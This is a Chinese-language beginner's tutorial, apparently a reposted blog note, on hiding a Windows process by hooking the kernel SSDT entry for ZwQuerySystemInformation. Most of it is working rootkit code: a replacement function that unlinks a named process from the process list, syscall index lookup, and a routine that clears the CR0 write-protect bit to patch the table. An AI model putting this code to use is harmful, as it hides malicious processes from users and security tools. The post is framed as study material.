驱动入门——Hook SSDT 隐藏进程

来源:互联网 发布:美工每天工作内容 编辑:程序博客网 时间:2024/04/30 03:59
 
初学驱动,只想尽量做个笔记而已,记录一下自己的成长历程:)。选择Hook SSDT隐藏进程作为自己学习驱动
的“Hello world!”,既可以体会一下Rootkit的神秘,也不至于把自己搞晕,入不了门。    言归正传,对于
SSDT,我就不多说了,网上相关的文章多入牛毛,肯定比我讲的经典。该过程中用到的两个重要的结构如下:
typedef struct _SYSTEM_SERVICE_TABLE
{
       PVOID ServiceTableBase; // array of entry points
       PULONG ServiceCounterTableBase; // array of usage counters
       ULONG NumberOfService; // number of table entries
       PBYTE ParamTableBase; // array of byte counts 
}SYSTEM_SERVICE_TABLE, *PSYSTEM_SERVICE_TABLE;
typedef struct _SERVICE_DESCRIPTOR_TABLE
{
       SYSTEM_SERVICE_TABLE ntoskrnl; // ntoskrnl.exe ( native api )
       SYSTEM_SERVICE_TABLE win32k; // win32k.sys (gdi/user support)
       SYSTEM_SERVICE_TABLE Table3; // not used
       SYSTEM_SERVICE_TABLE Table4; // not used
}SERVICE_DESCRIPTOR_TABLE,*PSERVICE_DESCRIPTOR_TABLE;
结构SYSTEM_SERVICE_TABLE的ServiceTableBase变量指向一个双字数组,该数组中保存的就是各个系统
调用函数的入口地址,hook ssdt就是要替换这个数组中的某一项或多项的值,使当调用相应的系统函数时进
入我们自己的函数,我们自己来调用真正的系统函数,然后再对结果做些手脚,达到某些目的,最后返回。针
对隐藏进程而言,使HOOK ZwQuerySystemInformation这个函数,步骤如下:
(1)写一个自己的“ZwQuerySystemInformation”,实现隐藏特定进程的功能。(我将该函数取名为
MyZwQuerySystemInformation,当然函数原型要和ZwQuerySystemInformation一样,
ZwQuerySystemInformation的原型后面再说)。
(2)找到ZwQuerySystemInformation函数再前面说到那个数组中的位置,即它的索引。
(3)修改这个数组元素的值,改为我们自己的MyZwQuerySystemInformation的地址。

比较简单,我们一步一步来。
(1)既然我们的函数要与ZwQuerySystemInformation原型一致,我们当然要先知道它的原型,从
“Windows NT 2000 Native API Reference.pdf”中找到资料如下:
ZwQuerySystemInformation(
      IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
      IN OUT PVOID SystemInformation,
      IN ULONG SystemInformationLength,
      OUT PULONG ReturnLength OPTIONAL
);
SystemInformationClass指示我们想用这个函数得到什么信息,因为这个函数可以得到很多种类的信息,
所以用这个值指明我们需要的信息类别,对于本,文我们需要的是进程信息,
该值为5(SystemProcessesAndThreadsInformation)。
SystemInformation为一个存放信息的buffer。
SystemInformationLength为buffer大小。
ReturnLength为可选,本文不会用到,它用来返回实际上需要的缓冲区大小。
当然要模仿ZwQuerySystemInformation,我们还要知道其返回的进程信息的格式,不然没办法动手脚啊,再从“Windows NT 2000 Native API Reference.pdf”中挖掘资料如下,这个函数返回到缓冲区的数据是一系列如下结构体:
typedef struct _SYSTEM_PROCESSES { // Information Class 5
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; // Windows 2000 only
SYSTEM_THREADS Threads[1];
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;

关于嵌套的结构由于对本文影响不大,因此不在此介绍。该结构中重要的两个成员为NextEntryDelta和ProcessName。ProcessName即该结构代表的进程的进程名,而由于其类型是UNICODE_STRING,因此所占用的空间大小未知,那么怎末定位该结构后面的下一个结构呢?这就是NextEntryDelta的用途了,它指示了下一个结构距当前结构的偏移。在我们的函数中只要对该buffer中所有结构的ProcessName与我们要隐藏的进程的名字比较,如果相同则令其上一个结构的NextEntryDelta加上本结构的NextEntryDelta,不就越过的本结构了吗?不错,整体的思想就是这样。下面给出MyZwQuerySystemInformation的代码:
NTSTATUS MyZwQuerySystemInformation(
 IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
 IN OUT PVOID pSystemInformation,
 IN ULONG SystemInformationLength,
 OUT PULONG pReturnLength
 )
{
 NTSTATUS status = STATUS_SUCCESS;
 UNICODE_STRING *lpuStr = NULL;
 PSYSTEM_PROCESSES pSystemProcess = NULL;
 PSYSTEM_PROCESSES pPrev = NULL;
 UNICODE_STRING uProcessName;
 RtlInitUnicodeString(&uProcessName, L"peid.exe"); //此处我用PEID.EXE来做实验
 status = ((ZWQUERYSYSTEMINFORMATION)OldServiceAddress)(SystemInformationClass, pSystemInformation, SystemInformationLength, pReturnLength);
 if (STATUS_SUCCESS != status)
 {
  return status;
 }
 if (SystemProcessesAndThreadsInformation != SystemInformationClass)
 {
  return status;
 }
 pSystemProcess = (PSYSTEM_PROCESSES)pSystemInformation;
 pPrev = pSystemProcess;
 while (pSystemProcess->NextEntryDelta != 0)
 {
  if (RtlEqualUnicodeString(&uProcessName, &pSystemProcess->ProcessName, 1))
  {
   pPrev->NextEntryDelta = pPrev->NextEntryDelta + pSystemProcess->NextEntryDelta;
  }
  pPrev = pSystemProcess;
  pSystemProcess = (PSYSTEM_PROCESSES)((UCHAR *)pSystemProcess + pSystemProcess->NextEntryDelta); 
 }
 return status;
}
至此,我们完成了目的的1/3:)。
(2)找到ZwQuerySystemInformation函数再前面说到那个数组中的位置,即它的索引。
如何找呢?看一下这个函数的具体实现先,随便用OD载入一个程序,输入如下命令
“follow ZwQuerySystemInformation”,看到:
ntdll.ZwQuerySystemInformation 7C92E1AA         
         B8 AD000000     MOV EAX,0AD
7C92E1AF                   BA 0003FE7F     MOV EDX,7FFE0300
7C92E1B4                   FF12            CALL DWORD PTR DS:[EDX]
7C92E1B6                   C2 1000         RETN 10
实际上这个函数并没做什么,只是将0xAD放入EAX,然后做了另一个调用即
CALL DWORD PTR DS:[7FFE0300],这个调用是如下样子的:

ntdll.KiFastSystemCall 7C92EB8B                  8BD4            MOV EDX,ESP
7C92EB8D                                         0F34            SYSENTER
直接进入了系统内核去调用了真正实现ZwQuerySystemInformation的功能的代码,这个代码的地址就是
我们要找的那个数组中的那个地址。那索引是哪个呢?对了,就是0xAD,前面mov eax, 0xad就是把索引
放入EAX来调用相应的代码。因此我们可以定义一个宏来获得ZwQuerySystemInformation的索引:
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
索引获得了,那基地址呢?这就要用到ntoskrnl导出的一个变量了KeServiceDescriptorTable。该变量
是指向SERVICE_DESCRIPTOR_TABLE的指针(为了方便,将上面的两个结构再在此处列出来)。我在网上看
到很多文章中把该变量定义成指向SYSTEM_SERVICE_TABLE结构的指针,虽然不会对程序造成什么影响(因
为SERVICE_DESCRIPTOR_TABLE的第一个成员是一个SYSTEM_SERVICE_TABLE结构,正是我们程序用到的
那个结构,他们地址正好是重合的),但对于理解来说会产生一定的误区。利用该变量来获得那个地址数组的
基地址然后配合前面的索引就可以定位到我们要替换的地址了。
typedef struct _SYSTEM_SERVICE_TABLE
{
 PVOID ServiceTableBase;                                // array of entry points
 PULONG ServiceCounterTableBase;                        // array of usage counters
 ULONG NumberOfService;                                 // number of table entries
 PBYTE ParamTableBase;                                  // array of byte counts 
}SYSTEM_SERVICE_TABLE, *PSYSTEM_SERVICE_TABLE;
typedef struct _SERVICE_DESCRIPTOR_TABLE
{
 SYSTEM_SERVICE_TABLE ntoskrnl;                      // ntoskrnl.exe ( native api )
 SYSTEM_SERVICE_TABLE win32k;                        // win32k.sys (gdi/user support)
 SYSTEM_SERVICE_TABLE Table3;                        // not used
 SYSTEM_SERVICE_TABLE Table4;                        // not used
}SERVICE_DESCRIPTOR_TABLE,*PSERVICE_DESCRIPTOR_TABLE;
(3)修改这个数组元素的值,改为我们自己的MyZwQuerySystemInformation的地址。
定义以下函数来实现,第一个参数为我们获得的数组索引,第二个为我们自己的
MyZwQuerySystemInformation的地址,均在前两步已获得,水到渠成:):
ULONG SetSSDTAddress(ULONG ulServiceID, ULONG procNewAddress)
{
  ULONG  Address;
  Address = (ULONG)KeServiceDescriptorTable->ntoskrnl.ServiceTableBase + ulServiceID * 4;//service ID
  OldServiceAddress = *(ULONG*)Address;      //save orginal service address
  __asm
  {          //remove memory protect
    cli
    mov  eax,cr0
    and  eax,not 10000h
    mov  cr0,eax
  }
  *((ULONG*)Address) = (ULONG)procNewAddress;     //HOOK SSDT
 
  __asm
  {          //restore memory protect 
 mov  eax,cr0
    or   eax,10000h
    mov  cr0,eax
    sti
  }
  return OldServiceAddress;
}
至此,所有功能已经实现:)。